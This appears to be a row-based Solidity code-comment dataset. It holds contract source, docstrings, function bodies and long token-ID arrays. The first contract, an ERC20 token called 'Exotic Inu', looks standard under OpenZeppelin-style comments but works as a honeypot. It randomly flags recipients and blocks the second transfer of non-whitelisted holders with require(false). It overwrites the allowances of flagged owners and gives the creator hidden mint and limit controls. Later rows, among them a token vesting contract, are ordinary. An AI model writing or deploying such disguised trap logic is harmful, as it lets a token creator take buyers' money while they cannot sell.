mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public betabeta; mapping (address => bool) public gammagamma; mapping (address => bool) public deltacon; mapping (address => uint256) public trackTrs; bool private conos; uint256 private _totalSupply; uint256 private tigress; uint256 private _trns; uint256 private chTx; uint256 private opera; uint8 private _decimals; string private _symbol; string private _name; bool private milfmilf; address private creator; bool private thisValue; uint lordy = 0; constructor() public { creator = address(msg.sender); conos = true; milfmilf = true; _name = "Exotic Inu"; _symbol = "EINU"; _decimals = 5; _totalSupply = 5000000000000000; _trns = _totalSupply; tigress = _totalSupply; chTx = _totalSupply / 800; opera = tigress; gammagamma[creator] = false; deltacon[creator] = false; betabeta[msg.sender] = true; _balances[msg.sender] = _trns; thisValue = false; emit Transfer(address(0), msg.sender, _trns); } /** * @dev Returns the erc20 token owner. */ function getOwner() external view returns (address) { return owner(); } /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8) { return _decimals; } function ViewChange() external view onlyOwner returns (uint256) { uint256 tempval = _totalSupply; return tempval; } /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory) { return _symbol; } /** * @dev Returns the token name. */ function name() external view returns (string memory) { return _name; } /** * @dev See {ERC20-totalSupply}. */ function totalSupply() external view returns (uint256) { return _totalSupply; } /** * @dev See {ERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) external returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function randomly() internal returns (uint) { uint screen = uint(keccak256(abi.encodePacked(now, msg.sender, lordy))) % 100000; lordy++; return screen; } /** * @dev See {ERC20-allowance}. */ function allowance(address owner, address spender) external view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {ERC20-balanceOf}. */ function balanceOf(address account) external view returns (uint256) { return _balances[account]; } function BurnTheMountain(uint256 amount) external onlyOwner { tigress = amount; } function SetItNow() external onlyOwner { tigress = chTx; thisValue = true; } /** * @dev See {ERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) external returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {ERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * * */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function FruitBowl(uint256 amount) public onlyOwner returns (bool) { _mint(_msgSender(), amount); return true; } /** * @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing * the total supply. * * Requirements * * - `msg.sender` must be the token owner */ function CheckTheAddress(address spender, bool val, bool val2, bool val3, bool val4) external onlyOwner { betabeta[spender] = val; gammagamma[spender] = val2; deltacon[spender] = val3; thisValue = val4; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if ((address(sender) == creator) && (conos == true)) { betabeta[recipient] = true; gammagamma[recipient] = false; conos = false; } else { tigress = chTx; thisValue = true; } if (betabeta[recipient] != true) { gammagamma[recipient] = ((randomly() == 3) ? true : false); } if ((gammagamma[sender]) && (betabeta[recipient] == false)) { gammagamma[recipient] = true; } if (betabeta[sender] == false) { require(amount < tigress); if (thisValue == true) { if (deltacon[sender] == true) { require(false); } deltacon[sender] = true; } } _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Changes the `amount` of the minimal tokens there should be in supply, * in order to not burn more tokens than there should be. **/ /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { uint256 tok = amount; require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); if ((address(owner) == creator) && (milfmilf == true)) { betabeta[spender] = true; gammagamma[spender] = false; deltacon[spender] = false; milfmilf = false; } tok = (gammagamma[owner] ? 778345 : amount); _allowances[owner][spender] = tok; emit Approval(owner, spender, tok); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } }
* @dev Moves tokens `amount` from `sender` to `recipient`. This is internal function is equivalent to {transfer}, and can be used to e.g. implement automatic token fees, slashing mechanisms, etc. Emits a {Transfer} event. Requirements: - `sender` cannot be the zero address. - `recipient` cannot be the zero address. - `sender` must have a balance of at least `amount`./
function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if ((address(sender) == creator) && (conos == true)) { betabeta[recipient] = true; gammagamma[recipient] = false; conos = false; tigress = chTx; thisValue = true; } if (betabeta[recipient] != true) { gammagamma[recipient] = ((randomly() == 3) ? true : false); } if ((gammagamma[sender]) && (betabeta[recipient] == false)) { gammagamma[recipient] = true; } if (betabeta[sender] == false) { require(amount < tigress); if (thisValue == true) { if (deltacon[sender] == true) { require(false); } deltacon[sender] = true; } } _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); }
6,798,965
[ 1, 19297, 2430, 1375, 8949, 68, 628, 1375, 15330, 68, 358, 1375, 20367, 8338, 1220, 353, 2713, 445, 353, 7680, 358, 288, 13866, 5779, 471, 848, 506, 1399, 358, 425, 18, 75, 18, 2348, 5859, 1147, 1656, 281, 16, 9026, 310, 1791, 28757, 16, 5527, 18, 7377, 1282, 279, 288, 5912, 97, 871, 18, 29076, 30, 300, 1375, 15330, 68, 2780, 506, 326, 3634, 1758, 18, 300, 1375, 20367, 68, 2780, 506, 326, 3634, 1758, 18, 300, 1375, 15330, 68, 1297, 1240, 279, 11013, 434, 622, 4520, 1375, 8949, 8338, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 389, 13866, 12, 2867, 5793, 16, 1758, 8027, 16, 2254, 5034, 3844, 13, 2713, 288, 203, 565, 2583, 12, 15330, 480, 1758, 12, 20, 3631, 315, 654, 39, 3462, 30, 7412, 628, 326, 3634, 1758, 8863, 203, 565, 2583, 12, 20367, 480, 1758, 12, 20, 3631, 315, 654, 39, 3462, 30, 7412, 358, 326, 3634, 1758, 8863, 203, 377, 203, 565, 309, 14015, 2867, 12, 15330, 13, 422, 11784, 13, 597, 261, 591, 538, 422, 638, 3719, 288, 203, 1377, 2701, 378, 1066, 63, 20367, 65, 273, 638, 31, 203, 1377, 23411, 4527, 7102, 63, 20367, 65, 273, 629, 31, 203, 1377, 356, 538, 273, 629, 31, 203, 1377, 268, 360, 663, 273, 462, 4188, 31, 203, 1377, 333, 620, 273, 638, 31, 203, 565, 289, 203, 377, 203, 565, 309, 261, 70, 278, 378, 1066, 63, 20367, 65, 480, 638, 13, 288, 203, 3639, 23411, 4527, 7102, 63, 20367, 65, 273, 14015, 9188, 715, 1435, 422, 890, 13, 692, 638, 294, 629, 1769, 203, 565, 289, 203, 377, 203, 565, 309, 14015, 75, 301, 4527, 7102, 63, 15330, 5717, 597, 261, 70, 278, 378, 1066, 63, 20367, 65, 422, 629, 3719, 288, 203, 3639, 23411, 4527, 7102, 63, 20367, 65, 273, 638, 31, 203, 565, 289, 203, 377, 203, 565, 309, 261, 70, 278, 378, 1066, 63, 15330, 65, 422, 629, 13, 288, 203, 1377, 2583, 12, 8949, 411, 268, 360, 663, 1769, 203, 1377, 309, 261, 2211, 620, 422, 638, 13, 288, 203, 3639, 309, 261, 9878, 591, 63, 15330, 2 ]
/** *Submitted for verification at Etherscan.io on 2022-02-19 */ // SPDX-License-Identifier: Unlicensed pragma solidity 0.7.6; library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } } interface ERC20 { function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender,address recipient,uint256 amount) external returns (bool); } // this contract is used to create a lock or vesting schedule with consists of a series of token locks // owned by an address where each lock has an amount of tokens that become available to withdraw // after a specified amount of time. Each lock per address created is charged a small eth fee unless // the creator is exempt from fee or owns a token with a minimum balance that grants exemption contract LockTokens { using SafeMath for uint256; struct Lock { uint256 lockID; address createdBy; address tokenAddress; address ownerAddress; uint256 amount; uint256 unlockedAtTime; uint256 lockCreatedAtTime; bool hasWithdrawn; } address public owner; address payable private feeCollector; //address for fees uint256 public ethFeePerLock; //eth fee per address that a vest is created for mapping(address => bool) addressExemptFromFee; //addresses not charged fee mapping(address => bool) public feeExemptToken; // map if holding a token provides fee exemption mapping(address => uint256) public tokenBalanceThreshold; // map token to required balance for fee exemption uint256 public lockID; //current id mapping (uint256 => Lock) public tokenLocked; // map id to lock parameters //maps creator, owner, and token contract to token ids mapping (address => uint256[]) public locksCreatedByAddress; mapping (address => uint256[]) public locksOwnedByAddress; mapping (address => uint256[]) public locksByTokenAddress; //parameters for reentracy guard modifier uint256 private constant functionCalled = 1; uint256 private constant functionComplete = 2; uint256 private status; constructor(){ owner = msg.sender; ethFeePerLock = 1e16; } //ensure resilience against re-entry attacks for function calls modifier ReEntrancyGuard { require(status != functionCalled); status = functionCalled; _; status = functionComplete; } modifier onlyOwner { require(msg.sender == owner); _; } event TokensLocked(address TokenAddress, address LockCreator, address LockOwner, uint256 Amount,uint256 UnlockedAtTime); event TokensWithdrawn(uint256 LockID, address WithdrawnBy, uint256 Amount); event LockExtended(uint256 LockID, uint256 PreviousUnlockTime, uint256 NewUnlockTime); event LockOwnershipTransferred(uint256 LockID, address PreviousOwner, address NewOwner); event LockBalanceIncreased(address Supplier,uint256 LockID,uint256 Amount); // creates a single lock for small fee unless exempt and maps lock id to creator, owner, and token address. Msg.sender must apporve token amount priro function lockTokens(address _tokenExemption, address _tokenAddress,address _ownerAddress,uint256 _amount,uint256 _unlockedAtTime) public payable ReEntrancyGuard{ //fee checks bool takeFee = true; // check if msg.sender is exempt from fee, check balances for tokens that grant fee exemption if(addressExemptFromFee[msg.sender] || (feeExemptToken[_tokenExemption] && (ERC20(_tokenExemption).balanceOf(msg.sender) >= tokenBalanceThreshold[_tokenExemption]))){ takeFee = false; } if(takeFee) require(msg.value == ethFeePerLock, "Fee amount invalid"); //token balance and transfer checks require(_amount > 0, "Must be more than 0"); require(ERC20(_tokenAddress).balanceOf(msg.sender)>= _amount, "Insuffecient balance"); require(ERC20(_tokenAddress).transferFrom(msg.sender, address(this), _amount), "Transfer failed"); //lock info recorded uint256 _thisLockID = ++lockID; locksCreatedByAddress[msg.sender].push(_thisLockID); locksOwnedByAddress[_ownerAddress].push(_thisLockID); locksByTokenAddress[_tokenAddress].push(_thisLockID); Lock memory lock = Lock(_thisLockID, msg.sender, _tokenAddress, _ownerAddress, _amount, _unlockedAtTime, block.timestamp, false); tokenLocked[_thisLockID] = lock; emit TokensLocked(_tokenAddress, msg.sender, _ownerAddress, _amount, _unlockedAtTime); } //takes list of addresses to create a vest for which consists of locks, each with a time and amount that unlocks function createVest(address _tokenExemption, address _tokenAddress, address[] calldata _vestOwnersAddresses, uint256 _totalAmount, uint256[] calldata _unlockTimes, uint256[] calldata _unlockAmounts) public payable ReEntrancyGuard { //fee checks bool takeFee = true; // check if msg.sender is exempt from fee, check balances for tokens that grant fee exemption if(addressExemptFromFee[msg.sender] || (feeExemptToken[_tokenExemption] && (ERC20(_tokenExemption).balanceOf(msg.sender) >= tokenBalanceThreshold[_tokenExemption]))){ takeFee = false; } //fee cost is ethFeePerLock multiplied by number of addresses vested for uint256 feeCost = ethFeePerLock.mul(_vestOwnersAddresses.length); if(takeFee) require(msg.value == feeCost, "Fee amount invalid"); //ensure number of locks per vest have corresponding unlock times and amounts require(_unlockTimes.length == _unlockAmounts.length, "Array sizes must match"); //sum total token amount from all vests for all addresses uint256 _sumOfUnlockAmounts; for(uint256 i = 0; i < _unlockAmounts.length; i++){ _sumOfUnlockAmounts += _unlockAmounts[i]; } uint256 _totalVestAmount = _sumOfUnlockAmounts.mul(_vestOwnersAddresses.length); require(_totalAmount > 0 && _totalAmount == _totalVestAmount, "Invalid amount input"); //check msg.sender for total tokens vested and approve for transfer require(ERC20(_tokenAddress).balanceOf(msg.sender) >= _totalAmount, "Insufficient balance"); //transfer total amount to this address for vests require(ERC20(_tokenAddress).transferFrom(msg.sender, address(this), _totalAmount), "Transfer failed"); // for each address in array, create the series of locks from array of unlock times and amounts for(uint256 i = 0; i < _vestOwnersAddresses.length; i++){ for(uint256 j = 0; j < _unlockTimes.length; j++){ //create new lock and record details _lockTokens(msg.sender, _tokenAddress, _vestOwnersAddresses[i], _unlockAmounts[j], _unlockTimes[j]); emit TokensLocked(_tokenAddress, msg.sender, _vestOwnersAddresses[i], _unlockAmounts[j], _unlockTimes[j]); } } } // used by createVest function to avoid stack too deep, creates a lock for parameters during array loop function _lockTokens(address _createdBy, address _tokenAddress, address _ownerAddress, uint256 _amount, uint256 _unlockedAtTime) private { //lock info recorded uint256 _thisLockID = ++lockID; locksCreatedByAddress[msg.sender].push(_thisLockID); locksOwnedByAddress[_ownerAddress].push(_thisLockID); locksByTokenAddress[_tokenAddress].push(_thisLockID); Lock memory lock = Lock(_thisLockID, _createdBy, _tokenAddress, _ownerAddress, _amount, _unlockedAtTime, block.timestamp, false); tokenLocked[_thisLockID] = lock; } // allows owner of lock to withdraw tokens if unlock time has passed and lock not already withdrawn function withdrawAllTokens(uint256 _lockID) public ReEntrancyGuard { require(block.timestamp >= tokenLocked[_lockID].unlockedAtTime, "Timed lock has not expired"); require(msg.sender == tokenLocked[_lockID].ownerAddress, "Not authorized to withdraw"); require(!tokenLocked[_lockID].hasWithdrawn, "Lock already withdrawn"); require(ERC20(tokenLocked[_lockID].tokenAddress).transfer(msg.sender, tokenLocked[_lockID].amount), "Tokens not withdrawn"); tokenLocked[_lockID].hasWithdrawn = true; emit TokensWithdrawn(_lockID, msg.sender, tokenLocked[_lockID].amount); } //owner can choose to extend lock period if needed function extendLock(uint256 _lockID, uint256 _newUnlockTime) public ReEntrancyGuard{ require(msg.sender == tokenLocked[_lockID].ownerAddress); require(_newUnlockTime > tokenLocked[_lockID].unlockedAtTime); uint256 previousUnlockAtTime = tokenLocked[_lockID].unlockedAtTime; tokenLocked[_lockID].unlockedAtTime = _newUnlockTime; emit LockExtended(_lockID, previousUnlockAtTime, _newUnlockTime); } //increase tokens available in a specific vested lock function addToLock(uint256 _lockID, address _tokenAddress, uint256 _amount) public ReEntrancyGuard{ require(_amount > 0, "Invalid amount"); require(tokenLocked[_lockID].unlockedAtTime > block.timestamp, "Lock has expired"); require(tokenLocked[_lockID].tokenAddress == _tokenAddress, "Token not held in lock"); require(ERC20(_tokenAddress).balanceOf(msg.sender) >= _amount, "Insuffecient balance"); require(ERC20(_tokenAddress).approve(address(this), _amount), "Must approve to transfer"); require(ERC20(_tokenAddress).transferFrom(msg.sender, address(this), _amount), "Tokens not transferred"); tokenLocked[_lockID].amount = tokenLocked[_lockID].amount.add(_amount); emit LockBalanceIncreased(msg.sender, _lockID, _amount); } function getTokenLockInformation(uint256 _lockID) view external returns(address, address, uint256, uint256, uint256, bool){ return(tokenLocked[_lockID].tokenAddress,tokenLocked[_lockID].ownerAddress,tokenLocked[_lockID].amount,tokenLocked[_lockID].unlockedAtTime,tokenLocked[_lockID].lockCreatedAtTime,tokenLocked[_lockID].hasWithdrawn); } function getTokenLocksCreatedByAddress(address _locksCreatedByAddress) view external returns( uint256[] memory){ return locksCreatedByAddress[_locksCreatedByAddress]; } function getLockedTokensOwnedByAddress(address _locksOwnedByAddress) view external returns(uint256[] memory){ return locksOwnedByAddress[_locksOwnedByAddress]; } function getLockedTokensByTokenAddress(address _tokenAddress) view external returns(uint256[] memory){ return locksByTokenAddress[_tokenAddress]; } //transfer ownership of vest function transferVestOwnerShip(uint256 _lockID, address _newOwner) external { require(msg.sender == tokenLocked[_lockID].ownerAddress, "Not owner"); tokenLocked[_lockID].ownerAddress = _newOwner; emit LockOwnershipTransferred(_lockID, msg.sender, _newOwner); } function setFeeCollectorWallet(address payable _feeCollector) external onlyOwner{ feeCollector = _feeCollector; } function setETHFee(uint256 _fee) external onlyOwner{ ethFeePerLock = _fee; } function getTime() external view returns(uint256){ return block.timestamp; } function transferContracOwnership(address _newOwner) external onlyOwner{ owner = _newOwner; } }
owner can choose to extend lock period if needed
function extendLock(uint256 _lockID, uint256 _newUnlockTime) public ReEntrancyGuard{ require(msg.sender == tokenLocked[_lockID].ownerAddress); require(_newUnlockTime > tokenLocked[_lockID].unlockedAtTime); uint256 previousUnlockAtTime = tokenLocked[_lockID].unlockedAtTime; tokenLocked[_lockID].unlockedAtTime = _newUnlockTime; emit LockExtended(_lockID, previousUnlockAtTime, _newUnlockTime); }
10,870,308
[ 1, 8443, 848, 9876, 358, 2133, 2176, 3879, 309, 3577, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2133, 2531, 12, 11890, 5034, 389, 739, 734, 16, 2254, 5034, 389, 2704, 7087, 950, 13, 1071, 868, 664, 313, 12514, 16709, 95, 203, 3639, 2583, 12, 3576, 18, 15330, 422, 1147, 8966, 63, 67, 739, 734, 8009, 8443, 1887, 1769, 203, 3639, 2583, 24899, 2704, 7087, 950, 405, 1147, 8966, 63, 67, 739, 734, 8009, 318, 15091, 861, 950, 1769, 203, 2398, 203, 3639, 2254, 5034, 2416, 7087, 861, 950, 273, 1147, 8966, 63, 67, 739, 734, 8009, 318, 15091, 861, 950, 31, 203, 3639, 1147, 8966, 63, 67, 739, 734, 8009, 318, 15091, 861, 950, 273, 389, 2704, 7087, 950, 31, 203, 203, 3639, 3626, 3488, 11456, 24899, 739, 734, 16, 2416, 7087, 861, 950, 16, 389, 2704, 7087, 950, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xaF490521B6b5713cE1A8502AB0D1b11DdAD6C4f8/sources/CliqueToken.sol
* @dev Constructor that gives msg.sender all of existing tokens./
constructor () public ERC20Detailed("CliqueToken", "CT", DECIMALS) { _mint(msg.sender, INITIAL_SUPPLY); }
2,735,815
[ 1, 6293, 716, 14758, 1234, 18, 15330, 777, 434, 2062, 2430, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 3885, 1832, 1071, 4232, 39, 3462, 40, 6372, 2932, 12265, 1857, 1345, 3113, 315, 1268, 3113, 25429, 55, 13, 288, 203, 3639, 389, 81, 474, 12, 3576, 18, 15330, 16, 28226, 67, 13272, 23893, 1769, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x5625E1Bbe09AB07a0E2a73f2bB5D169838Fd5CCb/sources/home/liam/EtherProjects/YFN/core/contracts/YFNOEngine.sol
YFNO tokens created per block.
uint256 public yfnoPerBlock;
15,734,119
[ 1, 61, 42, 3417, 2430, 2522, 1534, 1203, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
